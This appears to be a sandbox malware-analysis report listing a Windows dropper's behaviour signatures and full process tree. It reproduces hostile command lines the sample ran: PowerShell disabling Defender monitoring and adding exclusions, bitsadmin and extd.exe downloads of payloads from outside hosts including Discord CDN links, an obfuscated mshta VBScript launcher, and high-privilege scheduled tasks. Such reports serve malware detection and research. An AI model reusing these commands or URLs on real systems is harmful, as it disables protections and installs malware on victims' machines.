Suspicious use of FindShellTrayWindow 15 IoCs
Processes:
zhanglijuan-game.exeExplorer.EXEinstaller.exeCalculator.exepid process 2972 zhanglijuan-game.exe 2604 Explorer.EXE 2604 Explorer.EXE 7452 installer.exe 2604 Explorer.EXE 2604 Explorer.EXE 7424 Calculator.exe 2604 Explorer.EXE 2604 Explorer.EXE 2604 Explorer.EXE 2604 Explorer.EXE 2604 Explorer.EXE 2604 Explorer.EXE 2604 Explorer.EXE 2604 Explorer.EXE -
Suspicious use of SendNotifyMessage 7 IoCs
Processes:
Explorer.EXEpid process 2604 Explorer.EXE 2604 Explorer.EXE 2604 Explorer.EXE 2604 Explorer.EXE 2604 Explorer.EXE 2604 Explorer.EXE 2604 Explorer.EXE -
Suspicious use of SetWindowsHookEx 8 IoCs
Processes:
Explorer.EXEMicrosoftEdge.exeMicrosoftEdge.exeMicrosoftEdgeCP.exeMicrosoftEdge.exeMicrosoftEdgeCP.exepid process 2604 Explorer.EXE 6312 MicrosoftEdge.exe 6756 MicrosoftEdge.exe 7324 MicrosoftEdgeCP.exe 7324 MicrosoftEdgeCP.exe 8996 MicrosoftEdge.exe 6600 MicrosoftEdgeCP.exe 6600 MicrosoftEdgeCP.exe -
Suspicious use of WriteProcessMemory 64 IoCs
Processes:
setup_x86_x64_install.exesetup_installer.exesetup_install.execmd.execmd.execmd.execmd.execmd.execmd.exedescription pid process target process PID 3324 wrote to memory of 4860 3324 setup_x86_x64_install.exe setup_installer.exe PID 3324 wrote to memory of 4860 3324 setup_x86_x64_install.exe setup_installer.exe PID 3324 wrote to memory of 4860 3324 setup_x86_x64_install.exe setup_installer.exe PID 4860 wrote to memory of 520 4860 setup_installer.exe setup_install.exe PID 4860 wrote to memory of 520 4860 setup_installer.exe setup_install.exe PID 4860 wrote to memory of 520 4860 setup_installer.exe setup_install.exe PID 520 wrote to memory of 1724 520 setup_install.exe cmd.exe PID 520 wrote to memory of 1724 520 setup_install.exe cmd.exe PID 520 wrote to memory of 1724 520 setup_install.exe cmd.exe PID 520 wrote to memory of 1796 520 setup_install.exe cmd.exe PID 520 wrote to memory of 1796 520 setup_install.exe cmd.exe PID 520 wrote to memory of 1796 520 setup_install.exe cmd.exe PID 520 wrote to memory of 1896 520 setup_install.exe cmd.exe PID 520 wrote to memory of 1896 520 setup_install.exe cmd.exe PID 520 wrote to memory of 1896 520 setup_install.exe cmd.exe PID 1796 wrote to memory of 396 1796 cmd.exe powershell.exe PID 1796 wrote to memory of 396 1796 cmd.exe powershell.exe PID 1796 wrote to memory of 396 1796 cmd.exe powershell.exe PID 1724 wrote to memory of 2104 1724 cmd.exe powershell.exe PID 1724 wrote to memory of 2104 1724 cmd.exe powershell.exe PID 1724 wrote to memory of 2104 1724 cmd.exe powershell.exe PID 520 wrote to memory of 2228 520 setup_install.exe cmd.exe PID 520 wrote to memory of 2228 520 setup_install.exe cmd.exe PID 520 wrote to memory of 2228 520 setup_install.exe cmd.exe PID 520 wrote to memory of 2412 520 setup_install.exe cmd.exe PID 520 wrote to memory of 2412 520 setup_install.exe cmd.exe PID 520 wrote to memory of 2412 520 setup_install.exe cmd.exe PID 520 wrote to memory of 2644 520 setup_install.exe cmd.exe PID 520 wrote to memory of 2644 520 setup_install.exe cmd.exe PID 520 wrote to memory of 2644 520 setup_install.exe cmd.exe PID 520 wrote to memory of 1960 520 setup_install.exe cmd.exe PID 520 wrote to memory of 1960 520 setup_install.exe cmd.exe PID 520 wrote to memory of 1960 520 setup_install.exe cmd.exe PID 520 wrote to memory of 2800 520 setup_install.exe cmd.exe PID 520 wrote to memory of 2800 520 setup_install.exe cmd.exe PID 520 wrote to memory of 2800 520 setup_install.exe cmd.exe PID 520 wrote to memory of 2900 520 setup_install.exe cmd.exe PID 520 wrote to memory of 2900 520 setup_install.exe cmd.exe PID 520 wrote to memory of 2900 520 setup_install.exe cmd.exe PID 2228 wrote to memory of 2888 2228 cmd.exe Mon178e7a516181.exe PID 2228 wrote to memory of 2888 2228 cmd.exe Mon178e7a516181.exe PID 2228 wrote to memory of 2888 2228 cmd.exe Mon178e7a516181.exe PID 520 wrote to memory of 4920 520 setup_install.exe cmd.exe PID 520 wrote to memory of 4920 520 setup_install.exe cmd.exe PID 520 wrote to memory of 4920 520 setup_install.exe cmd.exe PID 1896 wrote to memory of 3884 1896 cmd.exe Mon17870faab0.exe PID 1896 wrote to memory of 3884 1896 cmd.exe Mon17870faab0.exe PID 1896 wrote to memory of 3884 1896 cmd.exe Mon17870faab0.exe PID 520 wrote to memory of 4200 520 setup_install.exe cmd.exe PID 520 wrote to memory of 4200 520 setup_install.exe cmd.exe PID 520 wrote to memory of 4200 520 setup_install.exe cmd.exe PID 520 wrote to memory of 4736 520 setup_install.exe cmd.exe PID 520 wrote to memory of 4736 520 setup_install.exe cmd.exe PID 520 wrote to memory of 4736 520 setup_install.exe cmd.exe PID 520 wrote to memory of 2660 520 setup_install.exe cmd.exe PID 520 wrote to memory of 2660 520 setup_install.exe cmd.exe PID 520 wrote to memory of 2660 520 setup_install.exe cmd.exe PID 2412 wrote to memory of 4628 2412 cmd.exe Mon175e6c8b40064b8c8.exe PID 2412 wrote to memory of 4628 2412 cmd.exe Mon175e6c8b40064b8c8.exe PID 2412 wrote to memory of 4628 2412 cmd.exe Mon175e6c8b40064b8c8.exe PID 520 wrote to memory of 68 520 setup_install.exe cmd.exe PID 520 wrote to memory of 68 520 setup_install.exe cmd.exe PID 520 wrote to memory of 68 520 setup_install.exe cmd.exe PID 1960 wrote to memory of 5008 1960 cmd.exe Mon173a360b525.exe
Processes
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s BITS1⤵
- Suspicious use of SetThreadContext
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k SystemNetworkService2⤵
- Drops file in System32 directory
- Checks processor information in registry
- Modifies data under HKEY_USERS
-
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Local\Temp\setup_x86_x64_install.exe"C:\Users\Admin\AppData\Local\Temp\setup_x86_x64_install.exe"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"3⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7zSCF2FBC46\setup_install.exe"C:\Users\Admin\AppData\Local\Temp\7zSCF2FBC46\setup_install.exe"4⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Set-MpPreference -DisableRealtimeMonitoring $true -SubmitSamplesConsent NeverSend -MAPSReporting Disable5⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -outputformat none -NonInteractive -Command Set-MpPreference -DisableRealtimeMonitoring $true -SubmitSamplesConsent NeverSend -MAPSReporting Disable6⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"5⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"6⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Mon17870faab0.exe5⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7zSCF2FBC46\Mon17870faab0.exeMon17870faab0.exe6⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\cmd.execmd.exe /c taskkill /f /im chrome.exe7⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im chrome.exe8⤵
- Kills process with taskkill
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Mon178e7a516181.exe5⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7zSCF2FBC46\Mon178e7a516181.exeMon178e7a516181.exe6⤵
- Executes dropped EXE
- Checks computer location settings
-
C:\Users\Admin\Pictures\Adobe Films\qxC1nsEi42vuuuXTOfADEOqE.exe"C:\Users\Admin\Pictures\Adobe Films\qxC1nsEi42vuuuXTOfADEOqE.exe"7⤵
- Executes dropped EXE
-
C:\Users\Admin\Pictures\Adobe Films\MiFnSOOP3jL2bVNTqswI6fwY.exe"C:\Users\Admin\Pictures\Adobe Films\MiFnSOOP3jL2bVNTqswI6fwY.exe"7⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
-
C:\Users\Admin\Pictures\Adobe Films\cyuN1_FPvN4XqHx5jHqquG4S.exe"C:\Users\Admin\Pictures\Adobe Films\cyuN1_FPvN4XqHx5jHqquG4S.exe"7⤵
-
C:\Users\Admin\Pictures\Adobe Films\l9hzlz9ZLt7XuMB8ACGsfFI8.exe"C:\Users\Admin\Pictures\Adobe Films\l9hzlz9ZLt7XuMB8ACGsfFI8.exe"7⤵
- Executes dropped EXE
- Checks whether UAC is enabled
-
C:\Users\Admin\Pictures\Adobe Films\JFsLr_kYtI5uwpoVO5P9lW6c.exe"C:\Users\Admin\Pictures\Adobe Films\JFsLr_kYtI5uwpoVO5P9lW6c.exe"7⤵
-
C:\Users\Admin\Documents\Eis8rgwPfplaNhGmdMf5sxxc.exe"C:\Users\Admin\Documents\Eis8rgwPfplaNhGmdMf5sxxc.exe"8⤵
- Checks computer location settings
-
C:\Users\Admin\Pictures\Adobe Films\OrYBZcRWcgHzIxQuvrmVk6aL.exe"C:\Users\Admin\Pictures\Adobe Films\OrYBZcRWcgHzIxQuvrmVk6aL.exe"9⤵
-
C:\Users\Admin\Pictures\Adobe Films\fyLnniPK_2OpBz3Y2dvMpj4C.exe"C:\Users\Admin\Pictures\Adobe Films\fyLnniPK_2OpBz3Y2dvMpj4C.exe"9⤵
-
C:\Users\Admin\Pictures\Adobe Films\eRnDf2CSvKqVjRsdrizTS0l9.exe"C:\Users\Admin\Pictures\Adobe Films\eRnDf2CSvKqVjRsdrizTS0l9.exe"9⤵
-
C:\Users\Admin\Pictures\Adobe Films\Uu8ktdPLBFcY1iPXMPwESBiH.exe"C:\Users\Admin\Pictures\Adobe Films\Uu8ktdPLBFcY1iPXMPwESBiH.exe"9⤵
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
-
C:\Users\Admin\Pictures\Adobe Films\c9ERkf7LMTbBMG3_wz5MOpln.exe"C:\Users\Admin\Pictures\Adobe Films\c9ERkf7LMTbBMG3_wz5MOpln.exe"9⤵
- Checks whether UAC is enabled
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vbsCrIPT:cLoSE( CrEaTeoBJeCt( "WscRIpT.sHElL" ).Run ( "cmd /R cOpY /Y ""C:\Users\Admin\Pictures\Adobe Films\c9ERkf7LMTbBMG3_wz5MOpln.exe"" ..\kPBhgOaGQk.exe&& sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi &If """" == """" for %M in (""C:\Users\Admin\Pictures\Adobe Films\c9ERkf7LMTbBMG3_wz5MOpln.exe"" ) do taskkill -f -iM ""%~NxM"" ", 0 , truE) )10⤵
- Checks whether UAC is enabled
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /R cOpY /Y "C:\Users\Admin\Pictures\Adobe Films\c9ERkf7LMTbBMG3_wz5MOpln.exe" ..\kPBhgOaGQk.exe&&sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi &If ""=="" for %M in ("C:\Users\Admin\Pictures\Adobe Films\c9ERkf7LMTbBMG3_wz5MOpln.exe" ) do taskkill -f -iM "%~NxM"11⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill -f -iM "c9ERkf7LMTbBMG3_wz5MOpln.exe"12⤵
- Kills process with taskkill
-
C:\Users\Admin\Pictures\Adobe Films\qUEUTCQ1XHI9Jzt7MPwLMwfe.exe"C:\Users\Admin\Pictures\Adobe Films\qUEUTCQ1XHI9Jzt7MPwLMwfe.exe"9⤵
-
C:\Users\Admin\Pictures\Adobe Films\qUEUTCQ1XHI9Jzt7MPwLMwfe.exe"C:\Users\Admin\Pictures\Adobe Films\qUEUTCQ1XHI9Jzt7MPwLMwfe.exe" -u10⤵
-
C:\Users\Admin\Pictures\Adobe Films\xyNtQmrvs194C2q9XHvjvThR.exe"C:\Users\Admin\Pictures\Adobe Films\xyNtQmrvs194C2q9XHvjvThR.exe"9⤵
-
C:\Users\Admin\Pictures\Adobe Films\tJWpYBfBdpnOujp6qGKB_GWA.exe"C:\Users\Admin\Pictures\Adobe Films\tJWpYBfBdpnOujp6qGKB_GWA.exe"9⤵
-
C:\Users\Admin\AppData\Local\Temp\is-E2TS2.tmp\tJWpYBfBdpnOujp6qGKB_GWA.tmp"C:\Users\Admin\AppData\Local\Temp\is-E2TS2.tmp\tJWpYBfBdpnOujp6qGKB_GWA.tmp" /SL5="$5030C,506127,422400,C:\Users\Admin\Pictures\Adobe Films\tJWpYBfBdpnOujp6qGKB_GWA.exe"10⤵
- Loads dropped DLL
- Checks whether UAC is enabled
-
C:\Users\Admin\AppData\Local\Temp\is-KHKDU.tmp\DYbALA.exe"C:\Users\Admin\AppData\Local\Temp\is-KHKDU.tmp\DYbALA.exe" /S /UID=270911⤵
- Drops file in Drivers directory
- Adds Run key to start application
-
C:\Program Files\Windows Security\ODBLXPRXLV\foldershare.exe"C:\Program Files\Windows Security\ODBLXPRXLV\foldershare.exe" /VERYSILENT12⤵
- Checks whether UAC is enabled
- Suspicious behavior: GetForegroundWindowSpam
-
C:\Users\Admin\AppData\Local\Temp\bf-eb2d8-8db-c43b9-ac517c6b472ed\Vyzharogaewi.exe"C:\Users\Admin\AppData\Local\Temp\bf-eb2d8-8db-c43b9-ac517c6b472ed\Vyzharogaewi.exe"12⤵
- Checks computer location settings
-
C:\Users\Admin\AppData\Local\Temp\6d-c4a2c-988-06c9e-aceb445de7633\Qaehoxekile.exe"C:\Users\Admin\AppData\Local\Temp\6d-c4a2c-988-06c9e-aceb445de7633\Qaehoxekile.exe"12⤵
- Checks whether UAC is enabled
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\k5wew0w2.tlj\GcleanerEU.exe /eufive & exit13⤵
-
C:\Users\Admin\AppData\Local\Temp\k5wew0w2.tlj\GcleanerEU.exeC:\Users\Admin\AppData\Local\Temp\k5wew0w2.tlj\GcleanerEU.exe /eufive14⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\b2fim0sd.mlf\installer.exe /qn CAMPAIGN="654" & exit13⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV114⤵
-
C:\Users\Admin\AppData\Local\Temp\b2fim0sd.mlf\installer.exeC:\Users\Admin\AppData\Local\Temp\b2fim0sd.mlf\installer.exe /qn CAMPAIGN="654"14⤵
- Loads dropped DLL
- Checks whether UAC is enabled
- Enumerates connected drives
- Modifies system certificate store
- Suspicious use of FindShellTrayWindow
-
C:\Windows\SysWOW64\msiexec.exe"C:\Windows\system32\msiexec.exe" /i "C:\Users\Admin\AppData\Roaming\AW Manager\Windows Manager 1.0.0\install\97FDF62\Windows Manager - Postback Y.msi" /qn CAMPAIGN=654 AI_SETUPEXEPATH=C:\Users\Admin\AppData\Local\Temp\b2fim0sd.mlf\installer.exe SETUPEXEDIR=C:\Users\Admin\AppData\Local\Temp\b2fim0sd.mlf\ EXE_CMD_LINE="/exenoupdates /forcecleanup /wintime 1634218862 /qn CAMPAIGN=""654"" " CAMPAIGN="654"15⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\lnsshwxs.c1l\any.exe & exit13⤵
-
C:\Users\Admin\AppData\Local\Temp\lnsshwxs.c1l\any.exeC:\Users\Admin\AppData\Local\Temp\lnsshwxs.c1l\any.exe14⤵
-
C:\Users\Admin\AppData\Local\Temp\lnsshwxs.c1l\any.exe"C:\Users\Admin\AppData\Local\Temp\lnsshwxs.c1l\any.exe" -u15⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\qqh4tnh5.xnx\gcleaner.exe /mixfive & exit13⤵
-
C:\Users\Admin\AppData\Local\Temp\qqh4tnh5.xnx\gcleaner.exeC:\Users\Admin\AppData\Local\Temp\qqh4tnh5.xnx\gcleaner.exe /mixfive14⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\waxbv2a2.2rk\autosubplayer.exe /S & exit13⤵
-
C:\Users\Admin\AppData\Local\Temp\waxbv2a2.2rk\autosubplayer.exeC:\Users\Admin\AppData\Local\Temp\waxbv2a2.2rk\autosubplayer.exe /S14⤵
- Drops file in Program Files directory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsn3591.tmp\tempfile.ps1"15⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsn3591.tmp\tempfile.ps1"15⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsn3591.tmp\tempfile.ps1"15⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsn3591.tmp\tempfile.ps1"15⤵
- Blocklisted process makes network request
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsn3591.tmp\tempfile.ps1"15⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsn3591.tmp\tempfile.ps1"15⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV116⤵
- Loads dropped DLL
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsn3591.tmp\tempfile.ps1"15⤵
- Checks for any installed AV software in registry
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV116⤵
-
C:\Windows\SysWOW64\bitsadmin.exe"bitsadmin" /Transfer helper http://fscloud.su/data/data.7z C:\zip.7z15⤵
- Download via BitsAdmin
-
C:\Users\Admin\Pictures\Adobe Films\uSCjYmPU3CH3QGpDJ1ZL8Fwr.exe"C:\Users\Admin\Pictures\Adobe Films\uSCjYmPU3CH3QGpDJ1ZL8Fwr.exe"9⤵
- Loads dropped DLL
-
C:\Users\Admin\AppData\Roaming\Calculator\setup.exeC:\Users\Admin\AppData\Roaming\Calculator\setup.exe -cid= -sid= -silent=110⤵
- Loads dropped DLL
- Adds Run key to start application
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" "--ZgwMku75"11⤵
- Checks whether UAC is enabled
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exeC:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" /prefetch:7 --monitor-self --monitor-self-argument=--type=crashpad-handler "--monitor-self-argument=--user-data-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" --monitor-self-argument=/prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Calculator\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" --annotation=plat=Win64 --annotation=prod=Calculator --annotation=ver=0.0.13 --initial-client-data=0x1c8,0x1cc,0x1d0,0x58,0x1d4,0x7ff877eadec0,0x7ff877eaded0,0x7ff877eadee012⤵
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exeC:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" /prefetch:7 --no-periodic-tasks --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Calculator\User Data\Crashpad" --annotation=plat=Win64 --annotation=prod=Calculator --annotation=ver=0.0.13 --initial-client-data=0x120,0x124,0x128,0xfc,0x12c,0x7ff79e239e70,0x7ff79e239e80,0x7ff79e239e9013⤵
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1736,3650273477745804929,15538392481981902781,131072 --lang=ja --service-sandbox-type=network --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw8884_81560480" --mojo-platform-channel-handle=1752 /prefetch:812⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl LG" /sc ONLOGON /rl HIGHEST8⤵
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl HR" /sc HOURLY /rl HIGHEST8⤵
- Creates scheduled task(s)
-
C:\Users\Admin\Pictures\Adobe Films\G_qlYSMI3UpBnqt1rgDYiWfA.exe"C:\Users\Admin\Pictures\Adobe Films\G_qlYSMI3UpBnqt1rgDYiWfA.exe"7⤵
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of SetThreadContext
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"8⤵
-
C:\Users\Admin\Pictures\Adobe Films\NpNokgBUio4juQ1WHkiRptUG.exe"C:\Users\Admin\Pictures\Adobe Films\NpNokgBUio4juQ1WHkiRptUG.exe"7⤵
-
C:\Users\Admin\Pictures\Adobe Films\EfYzouvnW3iAXodDye6sK70I.exe"C:\Users\Admin\Pictures\Adobe Films\EfYzouvnW3iAXodDye6sK70I.exe"7⤵
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
C:\Users\Admin\Pictures\Adobe Films\KvYEBWEa6dj4FEFN49knLnSU.exe"C:\Users\Admin\Pictures\Adobe Films\KvYEBWEa6dj4FEFN49knLnSU.exe"7⤵
-
C:\Users\Admin\Pictures\Adobe Films\EoOquW8c4Vfj_NvcnA6gXyuN.exe"C:\Users\Admin\Pictures\Adobe Films\EoOquW8c4Vfj_NvcnA6gXyuN.exe"7⤵
- Checks whether UAC is enabled
-
C:\Users\Admin\Pictures\Adobe Films\LgGY89P792Li7mvFxyF8GrqY.exe"C:\Users\Admin\Pictures\Adobe Films\LgGY89P792Li7mvFxyF8GrqY.exe"7⤵
- Checks whether UAC is enabled
-
C:\Program Files (x86)\Company\NewProduct\cutm3.exe"C:\Program Files (x86)\Company\NewProduct\cutm3.exe"8⤵
-
C:\Program Files (x86)\Company\NewProduct\jg1_1faf.exe"C:\Program Files (x86)\Company\NewProduct\jg1_1faf.exe"8⤵
- Checks whether UAC is enabled
- Drops file in Program Files directory
-
C:\Users\Admin\Pictures\Adobe Films\8QS5QO54Pu7CmqPq1QMNVpdP.exe"C:\Users\Admin\Pictures\Adobe Films\8QS5QO54Pu7CmqPq1QMNVpdP.exe"7⤵
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
C:\Users\Admin\Pictures\Adobe Films\u3cRqTdVGtXPgh8ADvnvPDLI.exe"C:\Users\Admin\Pictures\Adobe Films\u3cRqTdVGtXPgh8ADvnvPDLI.exe"7⤵
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
C:\Users\Admin\Pictures\Adobe Films\PxZ8UI6mifYkoYl3a6RLFIRc.exe"C:\Users\Admin\Pictures\Adobe Films\PxZ8UI6mifYkoYl3a6RLFIRc.exe"7⤵
-
C:\Users\Admin\Pictures\Adobe Films\k0TXFOp3H5JxB39Nd0AgP7Fb.exe"C:\Users\Admin\Pictures\Adobe Films\k0TXFOp3H5JxB39Nd0AgP7Fb.exe"7⤵
- Suspicious use of SetThreadContext
-
C:\Users\Admin\Pictures\Adobe Films\k0TXFOp3H5JxB39Nd0AgP7Fb.exe"C:\Users\Admin\Pictures\Adobe Films\k0TXFOp3H5JxB39Nd0AgP7Fb.exe"8⤵
-
C:\Users\Admin\Pictures\Adobe Films\mbqtmEoq2yLOhYkBnJknXxjC.exe"C:\Users\Admin\Pictures\Adobe Films\mbqtmEoq2yLOhYkBnJknXxjC.exe"7⤵
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
-
C:\Users\Admin\Pictures\Adobe Films\oB2x5G23PqGLN_dcI6m33Hqc.exe"C:\Users\Admin\Pictures\Adobe Films\oB2x5G23PqGLN_dcI6m33Hqc.exe"7⤵
- Suspicious use of SetThreadContext
-
C:\Users\Admin\Pictures\Adobe Films\oB2x5G23PqGLN_dcI6m33Hqc.exe"C:\Users\Admin\Pictures\Adobe Films\oB2x5G23PqGLN_dcI6m33Hqc.exe"8⤵
-
C:\Users\Admin\Pictures\Adobe Films\2X_oqUkYKyg5tm9hJDe9JgpK.exe"C:\Users\Admin\Pictures\Adobe Films\2X_oqUkYKyg5tm9hJDe9JgpK.exe"7⤵
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd" /c "C:\Users\Admin\AppData\Local\Temp\4ED3.tmp\4EE3.tmp\4EE4.bat "C:\Users\Admin\Pictures\Adobe Films\2X_oqUkYKyg5tm9hJDe9JgpK.exe""8⤵
-
C:\Users\Admin\AppData\Local\Temp\4ED3.tmp\4EE3.tmp\extd.exeC:\Users\Admin\AppData\Local\Temp\4ED3.tmp\4EE3.tmp\extd.exe "/hideself" "" "" "" "" "" "" "" ""9⤵
-
C:\Users\Admin\AppData\Local\Temp\4ED3.tmp\4EE3.tmp\extd.exeC:\Users\Admin\AppData\Local\Temp\4ED3.tmp\4EE3.tmp\extd.exe "/download" "https://cdn.discordapp.com/attachments/904754246044495955/904754480883597312/18.exe" "18.exe" "" "" "" "" "" ""9⤵
-
C:\Users\Admin\AppData\Local\Temp\4ED3.tmp\4EE3.tmp\extd.exeC:\Users\Admin\AppData\Local\Temp\4ED3.tmp\4EE3.tmp\extd.exe "/download" "https://cdn.discordapp.com/attachments/904754246044495955/904754503507652688/Transmissibility.exe" "Transmissibility.exe" "" "" "" "" "" ""9⤵
-
C:\Users\Admin\AppData\Local\Temp\4582\18.exe18.exe9⤵
-
C:\Users\Admin\AppData\Local\Temp\4582\Transmissibility.exeTransmissibility.exe9⤵
-
C:\Users\Admin\AppData\Local\Temp\4ED3.tmp\4EE3.tmp\extd.exeC:\Users\Admin\AppData\Local\Temp\4ED3.tmp\4EE3.tmp\extd.exe "" "" "" "" "" "" "" "" ""9⤵
-
C:\Users\Admin\Pictures\Adobe Films\FVg5dIcYh8MQcezkMZUKRnJw.exe"C:\Users\Admin\Pictures\Adobe Films\FVg5dIcYh8MQcezkMZUKRnJw.exe"7⤵
- Checks whether UAC is enabled
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\RarSFX2\demimondaines.vbs"8⤵
-
C:\Users\Admin\AppData\Local\Temp\RarSFX2\adorning.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX2\adorning.exe" -pgexttyzmupbgtedvwhlgstporlwudq9⤵
- Checks whether UAC is enabled
-
C:\Users\Admin\AppData\Local\Temp\RarSFX3\lierne.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX3\lierne.exe"10⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe"11⤵
-
C:\Users\Admin\Pictures\Adobe Films\RmAEbkxy08cLllgKYBk96wod.exe"C:\Users\Admin\Pictures\Adobe Films\RmAEbkxy08cLllgKYBk96wod.exe"7⤵
-
